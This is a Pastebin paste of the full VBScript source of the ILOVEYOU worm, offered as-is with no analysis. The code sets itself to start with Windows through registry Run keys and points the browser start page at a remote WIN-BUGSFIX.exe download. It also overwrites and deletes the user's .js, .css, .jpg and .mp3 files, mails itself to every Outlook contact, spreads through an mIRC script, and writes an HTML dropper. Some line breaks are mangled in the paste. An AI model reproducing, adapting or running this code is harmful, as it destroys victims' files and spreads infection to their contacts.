Advertisement
D4wFl1N

I LOVE YOU worm

Apr 24th, 2011
222
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.20 KB | None | 0 0
  1. On Error Resume Next
  2. dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
  3. eq=""
  4. ctr=0
  5. Set fso = CreateObject("Scripting.FileSystemObject")
  6. set file = fso.OpenTextFile(WScript.ScriptFullname,1)
  7. vbscopy=file.ReadAll
  8. main()
  9. sub main()
  10. On Error Resume Next
  11. dim wscr,rr
  12. set wscr=CreateObject("WScript.Shell")
  13. rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
  14. if (rr>=1) then
  15. wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
  16. end if
  17. Set dirwin = fso.GetSpecialFolder(0)
  18. Set dirsystem = fso.GetSpecialFolder(1)
  19. Set dirtemp = fso.GetSpecialFolder(2)
  20. Set c = fso.GetFile(WScript.ScriptFullName)
  21. c.Copy(dirsystem&"\MSKernel32.vbs")
  22. c.Copy(dirwin&"\Win32DLL.vbs")
  23. c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
  24. regruns()
  25. html()
  26. spreadtoemail()
  27. listadriv()
  28. end sub
  29. sub regruns()
  30. On Error Resume Next
  31. Dim num,downread
  32. regcreate
  33. "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern el32",dirsystem&"\MSKernel32.vbs"
  34. regcreate
  35. "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService s\Win32DLL",dirwin&"\Win32DLL.vbs"
  36. downread=""
  37. downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
  38. if (downread="") then
  39. downread="c:\"
  40. end if
  41. if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
  42. Randomize
  43. num = Int((4 * Rnd) + 1)
  44. if num = 1 then
  45. regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
  46. Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm
  47. hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
  48. elseif num = 2 then
  49. regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw
  50. erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
  51. elseif num = 3 then
  52. regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
  53. Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd
  54. QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
  55. elseif num = 4 then
  56. regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
  57. Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD
  58. GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN -BUGSFIX.exe"
  59. end if
  60. end if
  61. if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate
  62. "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU GSFIX",downread&"\WIN-BUGSFIX.exe"
  63. regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
  64. Explorer\Main\Start Page","about:blank"
  65. end if
  66. end sub
  67. sub listadriv
  68. On Error Resume Next
  69. Dim d,dc,s
  70. Set dc = fso.Drives
  71. For Each d in dc
  72. If d.DriveType = 2 or d.DriveType=3 Then
  73. folderlist(d.path&"\")
  74. end if
  75. Next
  76. listadriv = s
  77. end sub
  78. sub infectfiles(folderspec)
  79. On Error Resume Next
  80. dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
  81. set f = fso.GetFolder(folderspec)
  82. set fc = f.Files
  83. for each f1 in fc
  84. ext=fso.GetExtensionName(f1.path)
  85. ext=lcase(ext)
  86. s=lcase(f1.name)
  87. if (ext="vbs") or (ext="vbe") then
  88. set ap=fso.OpenTextFile(f1.path,2,true)
  89. ap.write vbscopy
  90. ap.close
  91. elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
  92. set ap=fso.OpenTextFile(f1.path,2,true)
  93. ap.write vbscopy
  94. ap.close
  95. bname=fso.GetBaseName(f1.path)
  96. set cop=fso.GetFile(f1.path)
  97. cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path)
  98. elseif(ext="jpg") or (ext="jpeg") then
  99. set ap=fso.OpenTextFile(f1.path,2,true)
  100. ap.write vbscopy
  101. ap.close
  102. set cop=fso.GetFile(f1.path)
  103. cop.copy(f1.path&".vbs")
  104. fso.DeleteFile(f1.path)
  105. elseif(ext="mp3") or (ext="mp2") then
  106. set mp3=fso.CreateTextFile(f1.path&".vbs")
  107. mp3.write vbscopy
  108. mp3.close
  109. set att=fso.GetFile(f1.path)
  110. att.attributes=att.attributes+2
  111. end if
  112. if (eq<>folderspec) then
  113. if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
  114. set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]"
  115. scriptini.WriteLine ";mIRC Script"
  116. scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
  117. scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
  118. scriptini.WriteLine ";"
  119. scriptini.WriteLine ";Khaled Mardam-Bey"
  120. scriptini.WriteLine ";http://www.mirc.com"
  121. scriptini.WriteLine ";"
  122. scriptini.WriteLine "n0=on 1:JOIN:#:{"
  123. scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick
  124. "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
  125. scriptini.WriteLine "n3=}"
  126. scriptini.close
  127. eq=folderspec
  128. end if
  129. end if
  130. next
  131. end sub
  132. sub folderlist(folderspec)
  133. On Error Resume Next
  134. dim f,f1,sf
  135. set f = fso.GetFolder(folderspec)
  136. set sf = f.SubFolders
  137. for each f1 in sf
  138. infectfiles(f1.path)
  139. folderlist(f1.path)
  140. next
  141. end sub
  142. sub regcreate(regkey,regvalue)
  143. Set regedit = CreateObject("WScript.Shell")
  144. regedit.RegWrite regkey,regvalue
  145. end sub
  146. function regget(value)
  147. Set regedit = CreateObject("WScript.Shell")
  148. regget=regedit.RegRead(value)
  149. end function
  150. function fileexist(filespec)
  151. On Error Resume Next
  152. dim msg
  153. if (fso.FileExists(filespec)) Then
  154. msg = 0
  155. else
  156. msg = 1
  157. end if
  158. fileexist = msg
  159. end function
  160. function folderexist(folderspec)
  161. On Error Resume Next
  162. dim msg
  163. if (fso.GetFolderExists(folderspec)) then
  164. msg = 0
  165. else
  166. msg = 1
  167. end if
  168. fileexist = msg
  169. end function
  170. sub spreadtoemail()
  171. On Error Resume Next
  172. dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
  173. set regedit=CreateObject("WScript.Shell")
  174. set out=WScript.CreateObject("Outlook.Application")
  175. set mapi=out.GetNameSpace("MAPI")
  176. for ctrlists=1 to mapi.AddressLists.Count
  177. set a=mapi.AddressLists(ctrlists)
  178. x=1
  179. regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then
  180. regv=1
  181. end if
  182. if (int(a.AddressEntries.Count)>int(regv)) then
  183. for ctrentries=1 to a.AddressEntries.Count
  184. malead=a.AddressEntries(x)
  185. regad=""
  186. regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead )
  187. if (regad="") then
  188. set male=out.CreateItem(0)
  189. male.Recipients.Add(malead)
  190. male.Subject = "ILOVEYOU"
  191. male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
  192. male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send
  193. regedit.RegWrite
  194. "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if
  195. x=x+1
  196. next
  197. regedit.RegWrite
  198. "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else
  199. regedit.RegWrite
  200. "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if
  201. next
  202. Set out=Nothing
  203. Set mapi=Nothing
  204. end sub
  205. sub html
  206. On Error Resume Next
  207. dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
  208. dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS -
  209. LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?
  210. @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@
  211. CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
  212. "<?-?HEAD><BODY
  213. ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.
  214. HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
  215. "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU. HTM#-#,#-#main#-#)@-@
  216. BGPROPERTIES=@-@fixed@-@
  217. BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
  218. "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to
  219. Enable ActiveX<?-?p>"&vbcrlf& _
  220. "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
  221. BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQU EE> "&vbcrlf& _
  222. "<?-?BODY><?-?HTML>"&vbcrlf& _
  223. "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _
  224. "if (window.screen){var wi=screen.availWidth;var
  225. hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrl f& _
  226. "?-??-?-->"&vbcrlf& _
  227. "<?-?SCRIPT>"&vbcrlf& _
  228. "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _
  229. "on error resume next"&vbcrlf& _
  230. "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ "aw=1"&vbcrlf& _
  231. "code="
  232. dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
  233. "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
  234. "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ "set
  235. wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
  236. "wri.write code4"&vbcrlf& _
  237. "wri.close"&vbcrlf& _
  238. "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _
  239. "aw=0"&vbcrlf& _
  240. "end if"&vbcrlf& _
  241. "if (aw=1) then"&vbcrlf& _
  242. "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _
  243. "end if"&vbcrlf& _
  244. "end if"&vbcrlf& _
  245. "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
  246. "regedit.RegWrite
  247. @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^
  248. -^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _
  249. "<?-?SCRIPT>"
  250. dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
  251. dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
  252. dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
  253. dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
  254. dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
  255. dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
  256. set fso=CreateObject("Scripting.FileSystemObject")
  257. set c=fso.OpenTextFile(WScript.ScriptFullName,1)
  258. lines=Split(c.ReadAll,vbcrlf)
  259. l1=ubound(lines)
  260. for n=0 to ubound(lines)
  261. lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
  262. lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then
  263. lines(n)=chr(34)+lines(n)+chr(34)
  264. else
  265. lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if
  266. next
  267. set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close
  268. set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5
  269. d.write join(lines,vbcrlf)
  270. d.write vbcrlf
  271. d.write dt6
  272. d.close
  273. end sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement